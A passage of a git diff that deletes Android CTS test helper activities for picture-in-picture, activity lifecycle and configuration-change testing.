-        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this, true /* newTask */);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
deleted file mode 100644
index d0b47b0..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchPipOnPipActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.pm.PackageManager;
-
-public class LaunchPipOnPipActivity extends Activity {
-    @Override
-    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
-        super.onPictureInPictureModeChanged(isInPictureInPictureMode);
-        AlwaysFocusablePipActivity.launchAlwaysFocusablePipActivity(this,
-            getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java
deleted file mode 100644
index b312c97..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LaunchingActivity.java
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.server.cts.tools.ActivityLauncher;
-
-/**
- * Activity that launches another activities when new intent is received.
- */
-public class LaunchingActivity extends Activity {
-    @Override
-    protected void onNewIntent(Intent intent) {
-        super.onNewIntent(intent);
-        ActivityLauncher.launchActivityFromExtras(this, intent.getExtras());
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java
deleted file mode 100644
index 66e0cf2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LifecycleLogView.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Context;
-import android.content.res.Configuration;
-import android.util.AttributeSet;
-import android.util.Log;
-import android.view.View;
-
-public class LifecycleLogView extends View {
-    private final String TAG = "LifecycleLogView";
-
-    public LifecycleLogView(Context context) {
-        super(context);
-    }
-
-    public LifecycleLogView(Context context, AttributeSet attrs) {
-        this(context, attrs, 0);
-    }
-
-    public LifecycleLogView(Context context, AttributeSet attrs, int defStyleAttr) {
-        this(context, attrs, defStyleAttr, 0);
-    }
-
-    public LifecycleLogView(Context context, AttributeSet attrs, int defStyleAttr, int defStyleRes)
-    {
-        super(context, attrs, defStyleAttr, defStyleRes);
-    }
-
-    @Override
-    protected void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        Log.i(TAG, "onConfigurationChanged");
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java
deleted file mode 100644
index 61eb78c..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/LogConfigurationActivity.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.res.Configuration;
-import android.util.Log;
-
-/**
- * Activity that logs configuration changes.
- */
-public class LogConfigurationActivity extends Activity {
-
-    private static final String TAG = "LogConfigurationActivity";
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        Log.i(TAG, "Configuration changed: " + newConfig.screenWidthDp + ","
-                + newConfig.screenHeightDp);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java
deleted file mode 100644
index 6c47fb7..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/MoveTaskToBackActivity.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-
-/**
- * Activity that finishes itself using "moveTaskToBack".
- */
-public class MoveTaskToBackActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = MoveTaskToBackActivity.class.getSimpleName();
-
-    private String mFinishPoint;
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-
-        final Intent intent = getIntent();
-        mFinishPoint = intent.getExtras().getString("finish_point");
-    }
-
-    @Override
-    protected void onPause() {
-        super.onPause();
-
-        if (mFinishPoint.equals("on_pause")) {
-            moveTaskToBack(true /* nonRoot */);
-        }
-    }
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-
-        if (mFinishPoint.equals("on_stop")) {
-            moveTaskToBack(true /* nonRoot */);
-        }
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java
deleted file mode 100644
index e33141b..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NightModeActivity.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.UiModeManager;
-import android.content.Context;
-import android.os.Bundle;
-
-/** Activity that changes UI mode on creation and handles corresponding configuration change. */
-public class NightModeActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = NightModeActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-
-        UiModeManager uiManager = (UiModeManager) getSystemService(Context.UI_MODE_SERVICE);
-        // Switch the mode two times to make sure it is independent of the current setting.
-        uiManager.setNightMode(UiModeManager.MODE_NIGHT_YES);
-        uiManager.setNightMode(UiModeManager.MODE_NIGHT_NO);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java
deleted file mode 100644
index 6a84602..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoHistoryActivity.java
+++ /dev/null
@@ -1,29 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-/**
- * An activity that has the noHistory flag set.
- */
-public class NoHistoryActivity extends AbstractLifecycleLogActivity {
-    private static final String TAG = NoHistoryActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java
deleted file mode 100644
index 9cc3b9d..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NoRelaunchActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-public class NoRelaunchActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = NoRelaunchActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java
deleted file mode 100644
index b871a8d..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/NonResizeableActivity.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-public class NonResizeableActivity extends AbstractLifecycleLogActivity {
-
-     private static final String TAG = NonResizeableActivity.class.getSimpleName();
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java
deleted file mode 100644
index f968970..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity.java
+++ /dev/null
@@ -1,338 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.app.PictureInPictureParams;
-import android.content.res.Configuration;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.SystemClock;
-import android.util.Log;
-import android.util.Rational;
-import android.view.WindowManager;
-
-public class PipActivity extends AbstractLifecycleLogActivity {
-
-    private static final String TAG = "PipActivity";
-
-    // Intent action that this activity dynamically registers to enter picture-in-picture
-    private static final String ACTION_ENTER_PIP = "android.server.cts.PipActivity.enter_pip";
-    // Intent action that this activity dynamically registers to move itself to the back
-    private static final String ACTION_MOVE_TO_BACK = "android.server.cts.PipActivity.move_to_back";
-    // Intent action that this activity dynamically registers to expand itself.
-    // If EXTRA_SET_ASPECT_RATIO_WITH_DELAY is set, it will also attempt to apply the aspect ratio
-    // after a short delay.
-    private static final String ACTION_EXPAND_PIP = "android.server.cts.PipActivity.expand_pip";
-    // Intent action that this activity dynamically registers to set requested orientation.
-    // Will apply the oriention to the value set in the EXTRA_FIXED_ORIENTATION extra.
-    private static final String ACTION_SET_REQUESTED_ORIENTATION =
-            "android.server.cts.PipActivity.set_requested_orientation";
-    // Intent action that will finish this activity
-    private static final String ACTION_FINISH = "android.server.cts.PipActivity.finish";
-
-    // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
-    private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
-    // Calls enterPictureInPicture() on creation
-    private static final String EXTRA_ENTER_PIP = "enter_pip";
-    // Used with EXTRA_AUTO_ENTER_PIP, value specifies the aspect ratio to enter PIP with
-    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR =
-            "enter_pip_aspect_ratio_numerator";
-    // Used with EXTRA_AUTO_ENTER_PIP, value specifies the aspect ratio to enter PIP with
-    private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR =
-            "enter_pip_aspect_ratio_denominator";
-    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value
-    private static final String EXTRA_SET_ASPECT_RATIO_NUMERATOR = "set_aspect_ratio_numerator";
-    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value
-    private static final String EXTRA_SET_ASPECT_RATIO_DENOMINATOR = "set_aspect_ratio_denominator";
-    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value with a
-    // fixed delay
-    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR =
-            "set_aspect_ratio_with_delay_numerator";
-    // Calls setPictureInPictureAspectRatio with the aspect ratio specified in the value with a
-    // fixed delay
-    private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR =
-            "set_aspect_ratio_with_delay_denominator";
-    // Adds a click listener to finish this activity when it is clicked
-    private static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
-    // Calls requestAutoEnterPictureInPicture() with the value provided
-    private static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
-    // Starts the activity (component name) provided by the value at the end of onCreate
-    private static final String EXTRA_START_ACTIVITY = "start_activity";
-    // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
-    private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
-    // Calls enterPictureInPicture() again after onPictureInPictureModeChanged(false) is called
-    private static final String EXTRA_REENTER_PIP_ON_EXIT = "reenter_pip_on_exit";
-    // Shows this activity over the keyguard
-    private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
-    // Adds an assertion that we do not ever get onStop() before we enter picture in picture
-    private static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP = "assert_no_on_stop_before_pip";
-    // The amount to delay to artificially introduce in onPause() (before EXTRA_ENTER_PIP_ON_PAUSE
-    // is processed)
-    private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
-
-    private boolean mEnteredPictureInPicture;
-
-    private Handler mHandler = new Handler();
-    private BroadcastReceiver mReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (intent != null) {
-                switch (intent.getAction()) {
-                    case ACTION_ENTER_PIP:
-                        enterPictureInPictureMode();
-                        break;
-                    case ACTION_MOVE_TO_BACK:
-                        moveTaskToBack(false /* nonRoot */);
-                        break;
-                    case ACTION_EXPAND_PIP:
-                        // Trigger the activity to expand
-                        Intent startIntent = new Intent(PipActivity.this, PipActivity.class);
-                        startIntent.setFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
-                        startActivity(startIntent);
-
-                        if (intent.hasExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR)
-                                && intent.hasExtra(EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR)) {
-                            // Ugly, but required to wait for the startActivity to actually start
-                            // the activity...
-                            mHandler.postDelayed(() -> {
-                                final PictureInPictureParams.Builder builder =
-                                        new PictureInPictureParams.Builder();
-                                builder.setAspectRatio(getAspectRatio(intent,
-                                        EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR,
-                                        EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR));
-                                setPictureInPictureParams(builder.build());
-                            }, 100);
-                        }
-                        break;
-                    case ACTION_SET_REQUESTED_ORIENTATION:
-                        setRequestedOrientation(Integer.parseInt(intent.getStringExtra(
-                                EXTRA_FIXED_ORIENTATION)));
-                        break;
-                    case ACTION_FINISH:
-                        finish();
-                        break;
-                }
-            }
-        }
-    };
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        // Set the fixed orientation if requested
-        if (getIntent().hasExtra(EXTRA_FIXED_ORIENTATION)) {
-            final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
-            setRequestedOrientation(ori);
-        }
-
-        // Set the window flag to show over the keyguard
-        if (getIntent().hasExtra(EXTRA_SHOW_OVER_KEYGUARD)) {
-            getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
-        }
-
-        // Enter picture in picture with the given aspect ratio if provided
-        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
-            if (getIntent().hasExtra(EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR)
-                    && getIntent().hasExtra(EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR)) {
-                try {
-                    final PictureInPictureParams.Builder builder =
-                            new PictureInPictureParams.Builder();
-                    builder.setAspectRatio(getAspectRatio(getIntent(),
-                            EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
-                            EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR));
-                    enterPictureInPictureMode(builder.build());
-                } catch (Exception e) {
-                    // This call can fail intentionally if the aspect ratio is too extreme
-                }
-            } else {
-                enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
-            }
-        }
-
-        // We need to wait for either enterPictureInPicture() or requestAutoEnterPictureInPicture()
-        // to be called before setting the aspect ratio
-        if (getIntent().hasExtra(EXTRA_SET_ASPECT_RATIO_NUMERATOR)
-                && getIntent().hasExtra(EXTRA_SET_ASPECT_RATIO_DENOMINATOR)) {
-            final PictureInPictureParams.Builder builder =
-                    new PictureInPictureParams.Builder();
-            builder.setAspectRatio(getAspectRatio(getIntent(),
-                    EXTRA_SET_ASPECT_RATIO_NUMERATOR, EXTRA_SET_ASPECT_RATIO_DENOMINATOR));
-            try {
-                setPictureInPictureParams(builder.build());
-            } catch (Exception e) {
-                // This call can fail intentionally if the aspect ratio is too extreme
-            }
-        }
-
-        // Enable tap to finish if necessary
-        if (getIntent().hasExtra(EXTRA_TAP_TO_FINISH)) {
-            setContentView(R.layout.tap_to_finish_pip_layout);
-            findViewById(R.id.content).setOnClickListener(v -> {
-                finish();
-            });
-        }
-
-        // Launch a new activity if requested
-        String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
-        if (launchActivityComponent != null) {
-            Intent launchIntent = new Intent();
-            launchIntent.setComponent(ComponentName.unflattenFromString(launchActivityComponent));
-            startActivity(launchIntent);
-        }
-
-        // Register the broadcast receiver
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ACTION_ENTER_PIP);
-        filter.addAction(ACTION_MOVE_TO_BACK);
-        filter.addAction(ACTION_EXPAND_PIP);
-        filter.addAction(ACTION_SET_REQUESTED_ORIENTATION);
-        filter.addAction(ACTION_FINISH);
-        registerReceiver(mReceiver, filter);
-
-        // Dump applied display metrics.
-        Configuration config = getResources().getConfiguration();
-        dumpDisplaySize(config);
-        dumpConfiguration(config);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-
-        // Finish self if requested
-        if (getIntent().hasExtra(EXTRA_FINISH_SELF_ON_RESUME)) {
-            finish();
-        }
-    }
-
-    @Override
-    protected void onPause() {
-        super.onPause();
-
-        // Pause if requested
-        if (getIntent().hasExtra(EXTRA_ON_PAUSE_DELAY)) {
-            SystemClock.sleep(Long.valueOf(getIntent().getStringExtra(EXTRA_ON_PAUSE_DELAY)));
-        }
-
-        // Enter PIP on move to background
-        if (getIntent().hasExtra(EXTRA_ENTER_PIP_ON_PAUSE)) {
-            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
-        }
-    }
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-
-        if (getIntent().hasExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP) && !mEnteredPictureInPicture) {
-            Log.w(TAG, "Unexpected onStop() called before entering picture-in-picture");
-            finish();
-        }
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        unregisterReceiver(mReceiver);
-    }
-
-    @Override
-    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
-        super.onPictureInPictureModeChanged(isInPictureInPictureMode);
-
-        // Fail early if the activity state does not match the dispatched state
-        if (isInPictureInPictureMode() != isInPictureInPictureMode) {
-            Log.w(TAG, "Received onPictureInPictureModeChanged mode=" + isInPictureInPictureMode
-                    + " activityState=" + isInPictureInPictureMode());
-            finish();
-        }
-
-        // Mark that we've entered picture-in-picture so that we can stop checking for
-        // EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP
-        if (isInPictureInPictureMode) {
-            mEnteredPictureInPicture = true;
-        }
-
-        if (!isInPictureInPictureMode && getIntent().hasExtra(EXTRA_REENTER_PIP_ON_EXIT)) {
-            // This call to re-enter PIP can happen too quickly (host side tests can have difficulty
-            // checking that the stacks ever changed). Therefor, we need to delay here slightly to
-            // allow the tests to verify that the stacks have changed before re-entering.
-            mHandler.postDelayed(() -> {
-                enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
-            }, 1000);
-        }
-    }
-
-    @Override
-    public void onConfigurationChanged(Configuration newConfig) {
-        super.onConfigurationChanged(newConfig);
-        dumpDisplaySize(newConfig);
-        dumpConfiguration(newConfig);
-    }
-
-    /**
-     * Launches a new instance of the PipActivity directly into the pinned stack.
-     */
-    static void launchActivityIntoPinnedStack(Activity caller, Rect bounds) {
-        final Intent intent = new Intent(caller, PipActivity.class);
-        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
-        intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
-
-        final ActivityOptions options = ActivityOptions.makeBasic();
-        options.setLaunchBounds(bounds);
-        options.setLaunchStackId(4 /* ActivityManager.StackId.PINNED_STACK_ID */);
-        caller.startActivity(intent, options.toBundle());
-    }
-
-    /**
-     * Launches a new instance of the PipActivity in the same task that will automatically enter
-     * PiP.
-     */
-    static void launchEnterPipActivity(Activity caller) {
-        final Intent intent = new Intent(caller, PipActivity.class);
-        intent.putExtra(EXTRA_ENTER_PIP, "true");
-        intent.putExtra(EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
-        caller.startActivity(intent);
-    }
-
-    @Override
-    protected String getTag() {
-        return TAG;
-    }
-
-    /**
-     * @return a {@link Rational} aspect ratio from the given intent and extras.
-     */
-    private Rational getAspectRatio(Intent intent, String extraNum, String extraDenom) {
-        return new Rational(
-                Integer.valueOf(intent.getStringExtra(extraNum)),
-                Integer.valueOf(intent.getStringExtra(extraDenom)));
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java
deleted file mode 100644
index 53b4f75..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivity2.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-/**
- * A secondary activity that has the same behavior as {@link PipActivity}.
- */
-public class PipActivity2 extends PipActivity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java
deleted file mode 100644
index e97dc0e..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipActivityWithSameAffinity.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.app.PictureInPictureParams;
-
-/**
- * An activity that can enter PiP with a fixed affinity to match
- * {@link TestActivityWithSameAffinity}.
- */
-public class PipActivityWithSameAffinity extends Activity {
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-
-        enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java
deleted file mode 100644
index 1abc696..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/PipOnStopActivity.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-
-/**
- * This activity will try and enter picture in picture when it is stopped.
- */
-public class PipOnStopActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.tap_to_finish_pip_layout);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-
-        startActivity(new Intent(this, PipActivity.class));
-    }
-
-    @Override
-    protected void onStop() {
-        super.onStop();
-
-        try {
-            enterPictureInPictureMode();
-        } catch (RuntimeException e) {
-            // Known failure, we expect this call to throw an exception
-        }
-    }
-}
